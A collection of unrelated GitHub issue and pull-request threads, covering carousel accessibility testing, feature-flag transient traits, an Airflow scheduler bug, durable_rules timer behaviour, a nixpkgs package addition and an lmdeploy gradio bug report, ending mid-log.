If you are running 0.8, I can send you a TEST version of capture_RPiHQ.cpp that supports saturation for you to try.


Conduct testing with users with disabilities

Before publishing this package out to NPM and elsewhere (#3), it'd be a good idea to do some final testing with users with disabilities to verify that the package is feature-complete (at least for an initial launch).
At Accessible360, a number of our expert auditors are blind or visually impaired, so I will work on snagging some time with them as soon as is feasible to test out key samples from the demo page and the CodePen collection.

[x] Demo page samples

[ ] Single item
[ ] Multiple items
[ ] Responsive display (with disabled arrows)
[ ] Autoplay
[ ] Center mode - any ideas for conveying the center slide to screen reader users?

[x] CodePen samples

[ ] Dual image sliders for e-commerce PDP main image.
[ ] Product cards
[ ] Hero banner

The team at @Accessible360 is currently experiencing a higher-than-normal workload due to increased end-of-year needs from clients, so testing will need to be delayed for a short time. I am (tentatively) expecting that their availability will open up after Jan 1, so I would estimate that this package will be tested and published before the end of January 2021.
If you are a user with a disability, or have access to anyone willing to help, please feel free to reach out to me about how you can help. Everyone is welcome to participate, especially native screen reader or keyboard-only users!

Today I conducted testing with a native screen reader user who uses both JAWS and NVDA on a Windows 10 machine, and the following feedback was received:

The headings for the blue information boxes ("tips") throughout the docpage should be
s, not
s.
When centerMode is enabled, it is possible (maybe likely) that developers will use CSS to style the center slide differently than the other slides (as shown in the official docpage example). Therefore the centered slide should be identified as such for screen readers somehow. The tester recommended appending  (centered) to the aria-label of the slide that is currently centered.

It seems like some JS logic already exists to dynamically apply the .slick-center class to the centered slide. Just need to extend this to also apply the aria-label adjustment at the same time.

When there are multiple adjacent sliders, it would be helpful for them to be identified using different aria-labels, especially if they are synched. I've already added support for this using the new  regionLabel setting, but I should update the examples in the docpage to demo and explain its use.

Aside from these relatively minor issues, the tester's feedback was overwhelmingly positive for all of the docpage examples and the real-world use cases up on CodePen. I will go ahead and integrate the changes outlined above, then get this package officially published out to NPM and elsewhere ASAP (by the end of Jan. 2021 at the latest)!

Today I conducted testing with a native screen reader user who uses both JAWS and NVDA on a Windows 10 machine, and the following feedback was received:

The headings for the blue information boxes ("tips") throughout the docpage should be
s, not
s.
When centerMode is enabled, it is possible (maybe likely) that developers will use CSS to style the center slide differently than the other slides (as shown in the official docpage example). Therefore the centered slide should be identified as such for screen readers somehow. The tester recommended appending  (centered) to the aria-label of the slide that is currently centered.

It seems like some JS logic already exists to dynamically apply the .slick-center class to the centered slide. Just need to extend this to also apply the aria-label adjustment at the same time.

When there are multiple adjacent sliders, it would be helpful for them to be identified using different aria-labels, especially if they are synched. I've already added support for this using the new  regionLabel setting, but I should update the examples in the docpage to demo and explain its use.

Aside from these relatively minor issues, the tester's feedback was overwhelmingly positive for all of the docpage examples and the real-world use cases up on CodePen. I will go ahead and integrate the changes outlined above, then get this package officially published out to NPM and elsewhere ASAP (by the end of Jan. 2021 at the latest)!

Finished integrating changes based on user feedback, so I'm closing this issue out and moving on to final cleanup and launch.

Finished integrating changes based on user feedback, so I'm closing this issue out and moving on to final cleanup and launch.


feat: Support transient identities and traits

Closes #236.

Awesome, I can see the tests pass so we must be good on regression. I guess we do need additional tests around this:

Matching tests setting transient traits in the same way we do normal
Checking we can cache a mix of transient and non-transient traits
Checking what happens when we call getFlags after identifying with transient traits (does it still send them over, I guess it should)

@kyle-ssg I've added:

Fetch mocks, as discussed in Slack.
Tests to ensure proper getFlags behaviour.
A test to ensure that the client preserves transient traits correctly.

Rewrote the implementation keeping existing interfaces intact and adding support for the evaluationContext: EvaluationContext configuration entry.

As discussed offline, added transiency support to identify, setTrait and setTraits interfaces.


feat(config): allow for logger to be enabled/disabled

Pull Request Test Coverage Report for Build 398756953

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 98.214%

Totals

Change from base Build 398734207:
0.0%

Covered Lines:
51

Relevant Lines:
51

💛  - Coveralls


Image resizing

I tried slingshot today. I am impressed with the functionality it provides. I have one question though. Is it possible to do image resizing with this package?
This is because most of the photos that users upload are quite big and I would prefer to reduce all photo size to about 150kb or less in order to save space and bandwidth/cost for my users.
Thanks.

+1

I believe image resizing should stay out of scope for Slingshot. It would be nice to see in another package that could be used by any uploading code or in-browser image manipulation. Maybe even in an isobuild so we can have the same apis (while different implementations) for image resizing on front and backend.
It's fairly easy nowadays to do image resizing in the browser. I encountered the situation recently and had to bake up code that works on the latest browsers (untested on IE but is supposed work ?!). Sorry, it's a bit messy. The canvas element can probably be dynamically created (once) instead of inserted into HTML as I did it in this example, I made this quickly...
https://gist.github.com/npaton/c3de742ffb493e8b7611
Aiming for a particular file size is a approximation game depending the size, format and quality of the exported image.
Note here that canvas.toBlob is not supported on all browser but a (slower) polyfill is included. Overall, performance is not amazing but still quite acceptable on a 2-3 year old machine in my experience, for a relatively large input image.
This might be something to clean up and extract into a separate package for those interested. :cake:

jamgold already made package for this: https://github.com/jamgold/cropuploader/

Many thanks for the feedback. I also found this package and I and testing this now.
ccorcos:clientside-image-manipulation

@gsuess Could you add to the readme a list of the packages depending on slingshot that you deem good? I will test jamgold package if you haven't an provide a feedback if you want me to.
By the way, I love slingshot. You did a great job. <3

Hi @gsuess ! Thanks for sharing this package.
I'm also looking to resize and crop on the client and I've got that part working fine. However, I notice that uploader.send() takes the file object as an arg and I'm left with a dataURL after resizing (in canvas). Is there a way to use slingshot with a dataURL?


Dead project?

First of all, thanks for a great tool. I use it regularly and have thought about contributing multiple times. However, the project seems pretty dead after the acquisition of Wercker by Oracle. Please consider updating the README with the current status of the project. stern/stern seems to be a well maintained fork, so a mention of this or other forks would be welcome.
Also, please consider archiving this repository so it clearly signals that contributions will not be accepted/processed. As a side effect it would also reduce notification noise for members of the @wercker org.

Hey @evenh the project is indeed dead, we created the issue https://github.com/wercker/stern/issues/148 to "warn" user and redirect them to our fork.
I've already tried reaching out to all maintainers of the project but they don't have access anymore, github can't help either so I guess there is nothing to do except warn user in every new issue/PR 😄

https://twitter.com/iaasgeek/status/1418291888260583424?s=21

https://twitter.com/iaasgeek/status/1418291888260583424?s=21

Thanks, I won't get my hope too high as I've tried multiple times and GitHub explicitly said they can't help, but well if it works, thank you 🙇


adding px option for SET command

Added support for the PX flag in the SET command.
Added unit and integration tests.
Refactored ParseCommand to reuse it in unit tests.

Fixes: Issue #200

@SyedMa3 There are some merge conflicts. Can you resolve them, I did skim your changes once. But will deep dive better after the conflicts are resolved.

LGTM

There were some conflicts. I resolved them and merged the PR now.
Thanks @SyedMa3 and @soumya-codes!


nuv: init at 3.0.1-beta.2405292059

Description of changes

Things done

Built on platform(s)

[X] x86_64-linux
[X] aarch64-linux
[X] x86_64-darwin
[X] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[X] sandbox = true

[X] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[X] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[X] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[X] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Hello @AndersonTorres ! Is there any problem preventing the merge?

Put the attributes in the same order of this guide first.
https://github.com/jtojnar/nixpkgs-hammering/blob/main/explanations%2Fattribute-ordering.md

Sorry @AndersonTorres, I made a mistake with my branch and I'm sending the three commits back to a new PR

Thank you @AndersonTorres !

Hello @AndersonTorres there is something that prevent this PR from being merged?

Yes.  Namely, a committer :)

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/prs-already-reviewed/2617/1747

Could @sciabarracom verify consent to being added to the maintainer list?

Yes I confirm I want to be added

Hello @h7x4, @sciabarracom confirmed. Let me know if something more is needed. Regards

@d4rkstar are you familiar with the git operations you need to squash the commits? Feel free to ask if you're unsure

@d4rkstar are you familiar with the git operations you need to squash the commits? Feel free to ask if you're unsure

Yes, and it's usually a trivial task but for some reason  the squash ends up with a merge from master. :( I'm doing something the wrong way

Can you do git rebase -i 5d09f92c53c8bbc5fc14c8d673b233c217ea05a9 (the hash of the commit above the first nuv: init at 3.0.1-beta.2405292059) and then mark all commits except that one as f or fixup? That should do it.
In the meanwhile, I'll temporarily mark the PR as draft in case something goes wrong, so we avoid mass pinging people.


Gas buckets and change computation cost to overall transaction cost

Description
With buckets computation_cost does not make any sense any longer, so we are changing it to transaction_cost indicating the overall transaction cost.
Test Plan
existing tests

If your changes are not user-facing and not a breaking change, you can skip the following section. Otherwise, please indicate what changed, and then add to the Release Notes section as highlighted during the release process.
Type of Change (Check all that apply)

[ ] user-visible impact
[ ] breaking change for a client SDKs
[ ] breaking change for FNs (FN binary must upgrade)
[ ] breaking change for validators or node operators (must upgrade binaries)
[ ] breaking change for on-chain data layout
[ ] necessitate either a data wipe or data migration

Release notes

not happening


ScheduleJob Blocker Bug on Head of Master branch: Scheduler broken

Dear Airflow Maintainers,
Before I tell you about my issue, let me describe my environment:
Environment

Version of Airflow (e.g. a release version, running your own fork, running off master -- provide a git log snippet):

HEAD master where HEAD is pointing to the following commit

commit 7da6a94ebc77b6b763485c5f9072a8ebce5af8d7
Merge: 8b63891 a36861a
Author: bolkedebruin<EMAIL_ADDRESS>Date:   Sun Apr 17 18:51:35 2016 +0200

    Merge pull request #1376 from bolkedebruin/multiprocessing_scheduler

    Use multiprocessing for the scheduler

Airflow components and configuration, if applicable (e.g. "Running a Scheduler with CeleryExecutor") : Running LocalExecutor
Example code to reproduce the bug (as a code snippet in markdown): N/A

Now that you know a little about me, let me tell you about the issue I am having:
Description of Issue

What did you expect to happen?
What happened instead?
Here is how you can reproduce this issue on your machine: run airflow scheduler -f

Reproduction Steps

Run airflow scheduler -f
Watch scheduler console output  You will notice
[2016-04-18 07:23:29,642] {jobs.py:733} ERROR - Failed at reloading the dagbag. unsupported operand type(s) for %: 'NoneType' and 'int'

It looks like the bug is that num_runs was used where runs was intended at the following line in the following commit : https://github.com/airbnb/airflow/commit/a36861a5#diff-54a57ccc2c8e73d12c812798bf79ccb2R721

@bolkedebruin


Fix okta login

Summary
We were getting a onMessage error when OKTA was rendering as they need to use the postMessage function for some internal stuff and we were overriding it, now it is applied only when needed.

@saturninoabril changes made

@enahum Please create a JIRA ticket and queue in release discussion channel so release team is aware
/cc @amyblais

Confirm that this worked with the reporter


⚠ Bofrost.lu has degraded performance

In 9b41950, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 1640 ms

Resolved: Bofrost.lu performance has improved in 91e14b3 after 312 days, 10 hours, 29 minutes.


cannot installed packages

Hello,
I'm a new user. I'm trying to remotely enqueue an experiment but I cannot get installed all package. The error message says it's ERROR: No matching distribution found. However, all package needed is in the installed packages list. Can someone help me?

My firewall is active, do I have to turn off the firewall if I want to run the task?

It's never a good idea to disable your firewall 😉 - better to see what is the configuration issue and fix it.
It sounds to me like there's an issue installing from PyPI when running inside docker (as the ClearML Agent does when executing your task). You can try to disable the firewall for a short while just to see if it works, but that's not a long-term solution 🙂

Yess, i use Installed Packages Section and use ClearML Agent with docker mode. I use ClearML Server localhost:8080

Do you specify any special docker container or just let it run with the default container?
Am I correct in understanding that you're running the server and agent on the same machine, which is also your development machine?
You can try several things:

Use the ClearML Agent in non-docker mode, so it will try to execute the task in a virtual environment created locally - from what you're describing, this should work, at least you should get past the package installation part
Try to run a docker image on your machine and see if you can pip install from there


reset_timer do not reset the right timer (broken) ?

We ran into this yesterday on our production setup. Seems like the reset_timer do not pick up the right timer (and obviously cancel and restart it). Please find attached some snippets that can reproduce the same.
import logging
import time

import redis
from durable.lang import *

r = redis.Redis()
r.flushdb()

with ruleset('reproduce_timer_issue'):
    @when_all(m.action == 'start_timer')
    def start_timer(c):
        logging.info("Starting timer for sid: {sid}".format(sid=c.m.sid))
        c.start_timer("important_timer", 9)

    @when_all(m.action == 'reset_timer')
    def cancel_timer(c):
        logging.info("Resetting timer for sid: {sid}".format(sid=c.m.sid))
        c.reset_timer("important_timer")

    @when_all(timeout("important_timer"))
    def timer_fired(c):
        logging.info("Important timer with sid {sid} expired.".format(sid=c.m.sid))

logging.getLogger().setLevel(logging.INFO)
run_all()

the POSTing script.
import time
import requests
for i in range(10):
    requests.post("http://localhost:5000/reproduce_timer_issue/events", json={ 'action': 'start_timer', "sid": i })
time.sleep(5)
requests.post("http://localhost:5000/reproduce_timer_issue/events", json={ 'action': 'reset_timer', "sid": 5 })
Collapse

the log output (see that we are on run_all() and we waited approx a minute after the last POST. (9 seconds was the timer durations).
<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
INFO:root:Starting timer for sid: 0
INFO:root:Starting timer for sid: 1
INFO:root:Starting timer for sid: 2
<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
INFO:werkzeug:<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
INFO:root:Starting timer for sid: 3
<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
INFO:werkzeug:<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
INFO:root:Starting timer for sid: 4
INFO:root:Starting timer for sid: 5
INFO:root:Starting timer for sid: 6
<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
INFO:werkzeug:<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
INFO:root:Starting timer for sid: 7
INFO:root:Starting timer for sid: 8
<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
INFO:werkzeug:<IP_ADDRESS> - - [04/Apr/2019 10:53:32] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
INFO:root:Starting timer for sid: 9
<IP_ADDRESS> - - [04/Apr/2019 10:53:37] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
INFO:werkzeug:<IP_ADDRESS> - - [04/Apr/2019 10:53:37] "POST /reproduce_timer_issue/events HTTP/1.1" 200 -
INFO:root:Resetting timer for sid: 5
INFO:root:Important timer with sid 0 expired.
INFO:root:Important timer with sid 1 expired.
INFO:root:Important timer with sid 2 expired.
INFO:root:Important timer with sid 3 expired.
INFO:root:Important timer with sid 4 expired.
INFO:root:Important timer with sid 5 expired.
INFO:root:Important timer with sid 6 expired.
INFO:root:Important timer with sid 7 expired.
INFO:root:Important timer with sid 8 expired.
INFO:root:Important timer with sid 9 expired.

As you can see - no more INFO:root:Resetting timer for sid: 5 showed up.

Hi, thanks for reporting the issue. I will investigate and report back in a couple of days.

Sorry to be pushy here @jruizgit, but feel free to give out pointers to files/classes which I should be looking at so that we can squash this one. Hope it is deep down in lua as the previous one though, but I can give it a try.

Hi, I will report back on my findings later today.

Hi, the reset_timer method is used to retract a timer fired by a "manual reset" timer. A "manual reset" timer asserts a fact when the timer expires. An "auto reset" timer posts an event when the timer expires. Apologies for such confusing concept. I think this is what you really want:
import logging
import time

with ruleset('reproduce_timer_issue'):
    @when_all(m.action == 'start_timer')
    def start_timer(c):
        logging.info("Starting timer for sid: {sid}".format(sid=c.m.sid))
        c.start_timer("important_timer", 9)

    @when_all(m.action == 'reset_timer')
    def reset_timer(c):
        logging.info("Resetting timer for sid: {sid}".format(sid=c.m.sid))
        c.cancel_timer("important_timer")
        c.start_timer("important_timer", 9)

    @when_all(timeout("important_timer"))
    def timer_fired(c):
        logging.info("Important timer with sid {sid} expired.".format(sid=c.m.sid))

logging.getLogger().setLevel(logging.INFO)
run_all()

Thank you @jruizgit. I think this is the way to go then. We deployed the fix and things are working at this moment. Closing it now.


feat: add "kluctl-system" namespace manifest

Hey, I've try to use you controller, looks like it perfectly fit in my needs, but as I see there's no namespace manifest, so I've added it and include to resources list in kustomization.yaml file.

Thanks for the contribution. I'll merge this PR as it makes sense in general.
I would however suggest to use the Helm Chart at https://github.com/kluctl/charts.


Issue with other optional packages

What do we do with seaborn, pandas and other packages that are optional but cannot be installed with .[package]?

They are tied to umap, no? We should be able to install everything with .[umap].

ah yeah you are right, that works


[qca] Update to version 2.3.1

Update qca to version 2.3.1 and fix old patches.
Related #13536

Closing PR due to #13964


Change webhooks to be called on commit in atomic transactions

I want to merge this change because there is a bug where webhook is called on non-existing EventDelivery object which is caused by webhook being called in atomic transaction and not 'on commit'.

Impact

[ ] New migrations
[ ] New/Updated API fields or mutations
[ ] Deprecated API fields or mutations
[ ] Removed API types, fields, or mutations
[ ] Documentation needs to be updated

Pull Request Checklist

[ ] Privileged queries and mutations are guarded by proper permission checks
[ ] Database queries are optimized and the number of queries is constant
[ ] Database migration files are up to date
[ ] The changes are tested
[ ] GraphQL schema and type definitions are up to date
[ ] Changes are mentioned in the changelog

Task linked: SALEOR-6236 Celery might receive non-existing event delivery id


[INLONG-8279][Sort] Fix NPE when run MySqlLoadSqlParseTest

Prepare a Pull Request
[INLONG-8279][Sort] Fix NPE when run MySqlLoadSqlParseTest

Fixes #8279

Motivation
After filling in the real database connection parameters in MySqlLoadSqlParseTest#testMySqlLoadSqlParse(), running the UT occurs NPE. According to the source code, the debezium-ddl-parser fails to parse the varchar(255) type.

However, when running the MySQL Connector separately instead of the UT, the parsing works correctly. In the UT, there are multiple versions of debezium-ddl-parser. By default, version 1.6.4-Final is used, while MySQL depends on version 1.5.4-Final. Therefore, we can only exclude the 1.6.4-Final version from the Oracle Connector for now.

Modifications
Exclude the 1.6.4-Final version from the Oracle Connector.

UT was skipped and not executed. @dockerzhang


chore(testing): Use @stackbuilders/assertive-ts

:tada: This PR is included in version 1.2.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Update ic-admin doc

Thank you for your contribution to the IC Developer Portal.
Before submitting your Pull Request, please make sure that:

[ ] You have updated the .github/CODEOWNERS file according to your changes.
[ ] You have registered new documents to /sidebars.js if any.

I approved the PR, but I would hesitate from mergeing until the preview build actually builds (in case there is some subtle reason the build fails like a character off).


privval: Implement gRPC support

Originally tracked in tendermint/tendermint#4698 and implemented in tendermint/tendermint#5725 in the v0.35/v0.36 release series.
We should bring these changes into whichever releases we can.
The corresponding work in tendermint-rs, for instance, is documented in ADR-011. See also informalsystems/tendermint-rs#1134.

Needed for https://github.com/strangelove-ventures/horcrux/issues/39.

I had some suggestions for error handling I left in this comment I wanted to make sure don't get lost in the shuffle: https://github.com/cometbft/cometbft/pull/850#issuecomment-1664586786
It's been a major problem with multiple chain upgrades that prevents a validator with a remote signer from coming online, so it'd be really great to get it addressed.


Creating child note from parent

I'm really enjoying Dendron so far, but as I start getting deeper into hierarchies, it gets cumbersome to write out the entire path as a backlink and then use the Go To shortcut to create it.  Is there a command to pre-populate the descendent branch or a better way of doing this workflow so I can just add the child note name and then create it?

when you use lookup in any note, it automatically pre-populates with the current path. you can just add the child you want to create at the end

I'm not sure I understand.  Let's say I'm in projects.my-proj.view and want to create a new child note such that it creates projects.my-proj.view.home. I want to be able to create it by typing just home and, with the context being that I'm in this projects.my-proj.view note, it will create it as a child of that note.  If I Lookup home it will create a home.md file, not the child file with the ancestry.

If you bring up Lookup, you should see the current path highlighted (eg.  projects.my-proj.view)
you will need to first hit the right arrow key to move the cursor to the
end of the selection and then type home. This will create projects.my-proj. home.
the reason for the arrow key is because vscode doesn't allow us to control
the cursor of the lookup component at this time
On Mon, Nov 9, 2020 at 10:16 AM Drew Boshardy<EMAIL_ADDRESS>wrote:

I'm not sure I understand. Let's say I'm in projects.my-proj.view and
want to create a new child note such that it creates
projects.my-proj.view.home. I want to be able to create it by typing just
home and, with the context being that I'm in this projects.my-proj.view
note, it will create it as a child of that note. If I Lookup home it will
create a home.md file, not the child file with the ancestry.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/dendronhq/dendron-template/issues/34#issuecomment-724185632,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AADD52K737EFNIYBXN5EMS3SPAWXRANCNFSM4TI4AGTQ
.

Interesting. I must have to mess with my shortcuts.  As it is now, my Lookup note shortcut is CMD + ^ + S which when I use it, creates a new scratch note.  To do a lookup, i have to  power bar > "dendron: lookup" and select it that way.  I must have borked my shortcuts.


sensor.octopus_energy_gas_e6xxxxxxxxx_75xxxxxxx_current_accumulative_consumption

Describe the bug
Saying
This entity is no longer being provided by the octopus_energy integration. If the entity is no longer in use, delete it in settings.
sensor.octopus_energy_gas_e6xxxxxxx_75yyyyyyyy_current_accumulative_consumption
Reproduction steps
Added sensor to dashboard used to work fine last few days getting no value back.

Not specified
Home Assistant Logs
Na
Confirmation

[X] I confirm that I cannot find my solution within the documentation
[X] I confirm that I cannot find my solution within the FAQ

Hello. The name of this entity has changed in a recent update which is why you're getting this issue. It now has a _kwh suffix. This was highlighted in the changelogs.


Adds tests for adding flags to kURL installs

What type of PR is this?
type::tests
What this PR does / why we need it:
Tests adding flags to the kURL installer
Which issue(s) this PR fixes:
Fixes #22534
Special notes for your reviewer:
Cherry picked the changes from Josh's fork, and added the tests
Does this PR introduce a user-facing change?
NONE

Does this PR require documentation?
NONE

if you already ran testgrid locally, can you add the link in the PR please? the idea is to make sure all the tests pass before merging.


RDK-49128 - Add Documentation for "Age" Parameter in Warehouse Plugin isClean API

RDK-49128 - Add Documentation for "Age" Parameter in Warehouse Plugin isClean API
Signed-off-by: shanmugasundaramraj_kasirajan<EMAIL_ADDRESS>

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


let bot say first

how can I make my bot say something as soon as I jump into a new topic

I'm also interested in how to do this. It's been referenced in a few previous issues, but the answers haven't. #24 #109

You can init the bot with something that sends a __open__ first message to user (or do that in pre topic. Then, here's an example of self-started conversation:
// Learn user's first name
> topic:system:keep onboarding_01_id_name

  + __open__
  - What is your first name?

    + [my] [first] [name] [is] *1
    - <cap1>... That's a nice name. ^save(firstName,<cap1>)

< topic

thank you


[Bug] error occurs when reset chat session in gradio with image uploded and get response.

Checklist

[ ] 1. I have searched related issues but cannot get the expected help.
[ ] 2. The bug has not been fixed in the latest version.
[ ] 3. Please note that if the bug-related issue you submitted lacks corresponding environment info and a minimal reproducible demo, it will be challenging for us to reproduce and resolve the issue, reducing the likelihood of receiving feedback.

Describe the bug
gradio occurs error when reset chat session with image uploded by using vl models.
Reproduction

start a gradio server
lmdeploy serve gradio /nvme/qa_test_models/OpenGVLab/InternVL2-2B --tp 1
open url, upload a picture from local and input prompt '图里是什么', enter to get response
click reset after response is finished.

Environment
sys.platform: linux
Python: 3.10.14 (main, May  6 2024, 19:42:50) [GCC 11.2.0]
CUDA available: True
MUSA available: False
numpy_random_seed:<PHONE_NUMBER>
GPU 0,1,2,3,4,5,6,7: NVIDIA A100-SXM4-80GB
CUDA_HOME: /usr/local/cuda
NVCC: Cuda compilation tools, release 11.7, V11.7.64
GCC: gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44)
PyTorch: 2.2.2+cu118
PyTorch compiling details: PyTorch built with:
  - GCC 9.3
  - C++ Version: 201703
  - Intel(R) oneAPI Math Kernel Library Version 2022.2-Product Build 20220804 for Intel(R) 64 architecture applications
  - Intel(R) MKL-DNN v3.3.2 (Git Hash 2dc95a2ad0841e29db8b22fbccaf3e5da7992b01)
  - OpenMP 201511 (a.k.a. OpenMP 4.5)
  - LAPACK is enabled (usually provided by MKL)
  - NNPACK is enabled
  - CPU capability usage: AVX512
  - CUDA Runtime 11.8
  - NVCC architecture flags: -gencode;arch=compute_50,code=sm_50;-gencode;arch=compute_60,code=sm_60;-gencode;arch=compute_70,code=sm_70;-gencode;arch=compute_75,code=sm_75;-gencode;arch=compute_80,code=sm_80;-gencode;arch=compute_86,code=sm_86;-gencode;arch=compute_37,code=sm_37;-gencode;arch=compute_90,code=sm_90
  - CuDNN 8.7
  - Magma 2.6.1
  - Build settings: BLAS_INFO=mkl, BUILD_TYPE=Release, CUDA_VERSION=11.8, CUDNN_VERSION=8.7.0, CXX_COMPILER=/opt/rh/devtoolset-9/root/usr/bin/c++, CXX_FLAGS= -D_GLIBCXX_USE_CXX11_ABI=0 -fabi-version=11 -fvisibility-inlines-hidden -DUSE_PTHREADPOOL -DNDEBUG -DUSE_KINETO -DLIBKINETO_NOROCTRACER -DUSE_FBGEMM -DUSE_QNNPACK -DUSE_PYTORCH_QNNPACK -DUSE_XNNPACK -DSYMBOLICATE_MOBILE_DEBUG_HANDLE -O2 -fPIC -Wall -Wextra -Werror=return-type -Werror=non-virtual-dtor -Werror=bool-operation -Wnarrowing -Wno-missing-field-initializers -Wno-type-limits -Wno-array-bounds -Wno-unknown-pragmas -Wno-unused-parameter -Wno-unused-function -Wno-unused-result -Wno-strict-overflow -Wno-strict-aliasing -Wno-stringop-overflow -Wsuggest-override -Wno-psabi -Wno-error=pedantic -Wno-error=old-style-cast -Wno-missing-braces -fdiagnostics-color=always -faligned-new -Wno-unused-but-set-variable -Wno-maybe-uninitialized -fno-math-errno -fno-trapping-math -Werror=format -Wno-stringop-overflow, LAPACK_INFO=mkl, PERF_WITH_AVX=1, PERF_WITH_AVX2=1, PERF_WITH_AVX512=1, TORCH_VERSION=2.2.2, USE_CUDA=ON, USE_CUDNN=ON, USE_EXCEPTION_PTR=1, USE_GFLAGS=OFF, USE_GLOG=OFF, USE_MKL=ON, USE_MKLDNN=ON, USE_MPI=OFF, USE_NCCL=1, USE_NNPACK=ON, USE_OPENMP=ON, USE_ROCM=OFF, USE_ROCM_KERNEL_ASSERT=OFF,

TorchVision: 0.17.2+cu118
LMDeploy: 0.5.2.post1+4ebe9cc
transformers: 4.45.0.dev0
gradio: 4.42.0
fastapi: 0.112.2
pydantic: 2.8.2
triton: 2.1.0
NVIDIA Topology:
        GPU0    GPU1    GPU2    GPU3    GPU4    GPU5    GPU6    GPU7    CPU Affinity    NUMA Affinity
GPU0     X      NV12    NV12    NV12    NV12    NV12    NV12    NV12    0-27,56-83      0
GPU1    NV12     X      NV12    NV12    NV12    NV12    NV12    NV12    0-27,56-83      0
GPU2    NV12    NV12     X      NV12    NV12    NV12    NV12    NV12    0-27,56-83      0
GPU3    NV12    NV12    NV12     X      NV12    NV12    NV12    NV12    0-27,56-83      0
GPU4    NV12    NV12    NV12    NV12     X      NV12    NV12    NV12    28-55,84-111    1
GPU5    NV12    NV12    NV12    NV12    NV12     X      NV12    NV12    28-55,84-111    1
GPU6    NV12    NV12    NV12    NV12    NV12    NV12     X      NV12    28-55,84-111    1
GPU7    NV12    NV12    NV12    NV12    NV12    NV12    NV12     X      28-55,84-111    1

Legend:

  X    = Self
  SYS  = Connection traversing PCIe as well as the SMP interconnect between NUMA nodes (e.g., QPI/UPI)
  NODE = Connection traversing PCIe as well as the interconnect between PCIe Host Bridges within a NUMA node
  PHB  = Connection traversing PCIe as well as a PCIe Host Bridge (typically the CPU)
  PXB  = Connection traversing multiple PCIe bridges (without traversing the PCIe Host Bridge)
  PIX  = Connection traversing at most a single PCIe bridge
  NV#  = Connection traversing a bonded set of # NVLinks

Error traceback
2024-08-27 16:34:22,955 - lmdeploy - INFO - matching vision model: InternVLVisionModel
2024-08-27 16:34:25,405 - lmdeploy - INFO - using InternVL-Chat-V1-5 vision preprocess
2024-08-27 16:34:25,418 - lmdeploy - INFO - input backend=turbomind, backend_config=TurbomindEngineConfig(model_name=None, model_format=None, tp=1, session_len=8192, max_batch_size=128, cache_max_entry_count=0.8, cache_block_seq_len=64, enable_prefix_caching=False, quant_policy=0, rope_scaling_factor=0.0, use_logn_attn=False, download_dir=None, revision=None, max_prefill_token_num=8192, num_tokens_per_iter=0, max_prefill_iters=1)
2024-08-27 16:34:25,418 - lmdeploy - INFO - input chat_template_config=ChatTemplateConfig(model_name=None, system=None, meta_instruction=None, eosys=None, user=None, eoh=None, assistant=None, eoa=None, separator=None, capability='chat', stop_words=None)
2024-08-27 16:34:25,421 - lmdeploy - INFO - updated chat_template_onfig=ChatTemplateConfig(model_name='internvl2-internlm2', system=None, meta_instruction=None, eosys=None, user=None, eoh=None, assistant=None, eoa=None, separator=None, capability='chat', stop_words=None)
2024-08-27 16:34:25,421 - lmdeploy - INFO - model_source: hf_model
2024-08-27 16:34:25,999 - lmdeploy - INFO - model_config:

[llama]
model_name = internvl2-internlm2
model_arch = InternVLChatModel
tensor_para_size = 1
head_num = 16
kv_head_num = 8
vocab_size = 92553
num_layer = 24
inter_size = 8192
norm_eps = 1e-05
attn_bias = 0
start_id = 1
